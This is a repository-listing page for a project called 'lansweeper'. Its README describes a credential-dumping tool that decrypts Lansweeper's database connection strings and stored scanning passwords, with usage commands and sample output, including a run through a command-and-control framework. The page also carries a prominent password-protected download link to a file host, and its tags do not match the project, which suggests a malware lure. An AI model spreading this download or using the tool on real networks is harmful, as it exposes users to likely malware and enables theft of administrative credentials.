https://github.com/livia09716/lansweeper
Lansweeper
https://github.com/livia09716/lansweeper
blockchain blog csharp lansweeper psychology quiz software-development software-engineering
Last synced: 5 months ago
JSON representation
Lansweeper
- Host: GitHub
- URL: https://github.com/livia09716/lansweeper
- Owner: Livia09716
- License: cc0-1.0
- Created: 2025-07-06T18:59:59.000Z (6 months ago)
- Default Branch: main
- Last Pushed: 2025-07-06T19:02:32.000Z (6 months ago)
- Last Synced: 2025-07-06T20:19:29.779Z (6 months ago)
- Topics: blockchain, blog, csharp, lansweeper, psychology, quiz, software-development, software-engineering
- Homepage:
- Size: 6.84 KB
- Stars: 1
- Watchers: 0
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
- License: LICENSE
Awesome Lists containing this project
README
# SharpLansweeperDecrypt
# [DOWNLOAD](https://www.4sync.com/web/directDownload/vQ0GwKNh/ucR3VkWM.b319ff3cba0a42c5ae3faf25e462a580)
## PASSWORD: g1tsoft2025

`SharpLansweeperDecrypt` is designed to automatically extract and decrypt all configured scanning credentials of a instance, provided there is local access to the server.
For manual decryption, the tool is capable of decrypting passwords when supplied with both the encrypted password and the encryption key (`C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`).
1. Automatically identifies and decrypts the database connection strings contained within Lansweeper's `web.config` file.
2. Utilizes the decrypted connection strings to query the Lansweeper SQL database, retrieving all configured `Scanning Credentials`.
3. Locates the `Encryption.txt` file on the disk, which Lansweeper uses for credential encryption.
4. Applies the encryption key to decrypt and display the scanning credentials.
## Usage
```
PS C:\Users\Yeeb\Downloads> .\SharpLansweeperDecrypt.exe -h
╔═╗┬ ┬┌─┐┬─┐┌─┐╦ ┌─┐┌┐┌┌─┐┬ ┬┌─┐┌─┐┌─┐┌─┐┬─┐╔╦╗┌─┐┌─┐┬─┐┬ ┬┌─┐┌┬┐
╚═╗├─┤├─┤├┬┘├─┘║ ├─┤│││└─┐│││├┤ ├┤ ├─┘├┤ ├┬┘ ║║├┤ │ ├┬┘└┬┘├─┘ │
╚═╝┴ ┴┴ ┴┴└─┴ ╩═╝┴ ┴┘└┘└─┘└┴┘└─┘└─┘┴ └─┘┴└─═╩╝└─┘└─┘┴└─ ┴ ┴ ┴
Usage:
No arguments: Runs the program as is, decrypting web.config and connecting to the SQL database.
-p : Optional path to the encryption key. If not provided, a default path is used.
-e : Decrypts the provided encrypted password without decrypting web.config or connecting to the SQL database.
```

### Automatic Decryption
With no arguments specified the tool will try to automatically dump and decrypt all configured `Scanning Credentials`
```
sliver (maldev) > inline-execute-assembly tool/SharpLansweeperDecrypt.exe -
[*] Successfully executed inline-execute-assembly (coff-loader)
[*] Got output:
[+] Success - Wrote 12298 bytes to memory
╔═╗┬ ┬┌─┐┬─┐┌─┐╦ ┌─┐┌┐┌┌─┐┬ ┬┌─┐┌─┐┌─┐┌─┐┬─┐╔╦╗┌─┐┌─┐┬─┐┬ ┬┌─┐┌┬┐
╚═╗├─┤├─┤├┬┘├─┘║ ├─┤│││└─┐│││├┤ ├┤ ├─┘├┤ ├┬┘ ║║├┤ │ ├┬┘└┬┘├─┘ │
╚═╝┴ ┴┴ ┴┴└─┴ ╩═╝┴ ┴┘└┘└─┘└┴┘└─┘└─┘┴ └─┘┴└─═╩╝└─┘└─┘┴└─ ┴ ┴ ┴
[+] Loading web.config file...
[+] Decrypted connectionStrings section:
Using connectionString: Data Source=(localdb)\.\LSInstance;Initial Catalog=lansweeperdb;Integrated Security=False;User ID=lansweeperuser;Password=InfiniteVoid*GetoSuguru;Connect Timeout=10;Application Name="LsService Core .Net SqlClient Data Provider"
[+] Opening connection to the database...
[+] Retrieving credentials from the database...
[+] Credential decrypted successully
┌───────────────────────────────────────┐
│ Credential: SNMP-Private │
│ Username: SNMP Community String │
│ Password: private │
└───────────────────────────────────────┘
[+] Credential decrypted successully
┌───────────────────────────────────────┐
│ Credential: Global SNMP │
│ Username: │
│ Password: public │
└───────────────────────────────────────┘
[+] Credential decrypted successully
┌───────────────────────────────────────┐
│ Credential: Inventory Windows │
│ Username: SWEEP\svc_inventory_win │
│ Password: CursedEnergy$Itadori$ │
└───────────────────────────────────────┘
[+] Credential decrypted successully
┌───────────────────────────────────────┐
│ Credential: Inventory Linux │
│ Username: svc_inventory_lnx │
│ Password: CurseExorcist#Gojo! │
└───────────────────────────────────────┘
[+] Database connection closed.
[+] inlineExecute-Assembly Finished
```
### Manual Decryption
Sould the `web.config` file be undecryptable or access to the SQL service be unavailable, `SharpLansweeperDecrypt` offers a manual decryption option using the `-e` flag. In cases where the encryption key's path is not explicitly provided with the `-p` flag, the tool defaults to using `C:\Program Files (x86)\Lansweeper\Key\Encryption.txt`.
```PS C:\Users\Yeeb\Downloads> .\SharpLansweeperDecrypt.exe -e 'fuVE63qSVMPbuSnYUdUE+MuRpn8t/PXyLnMUb4gfDew='
╔═╗┬ ┬┌─┐┬─┐┌─┐╦ ┌─┐┌┐┌┌─┐┬ ┬┌─┐┌─┐┌─┐┌─┐┬─┐╔╦╗┌─┐┌─┐┬─┐┬ ┬┌─┐┌┬┐
╚═╗├─┤├─┤├┬┘├─┘║ ├─┤│││└─┐│││├┤ ├┤ ├─┘├┤ ├┬┘ ║║├┤ │ ├┬┘└┬┘├─┘ │
╚═╝┴ ┴┴ ┴┴└─┴ ╩═╝┴ ┴┘└┘└─┘└┴┘└─┘└─┘┴ └─┘┴└─═╩╝└─┘└─┘┴└─ ┴ ┴ ┴
```
### Powershell
In addition to the C# version, this repository also includes a PowerShell script, `LansweeperDecrypt.ps1`, which automates the process of dumping and decrypting Lansweeper credentials.
## Compilation
Ensure your C# development environment (e.g., .NET SDK, Visual Studio) is set up correctly. The project requires the `System.Configuration.ConfigurationManager`.
```sh
dotnet add package System.Configuration.ConfigurationManager
```
Alternatively, if you're using Visual Studio, you can manage NuGet packages for your project and add `System.Configuration.ConfigurationManager` from there.
## Acknowledgments
Special thanks to the repository for providing guidance on how to decrypt Lansweeper Scanning Credentials.
---
*The script is for informational and educational purposes only. The author and contributors of this script are not responsible for any misuse or damage caused by this tool.*
###TAGS
-lansweeper
-photo
-all
-seo
-sharp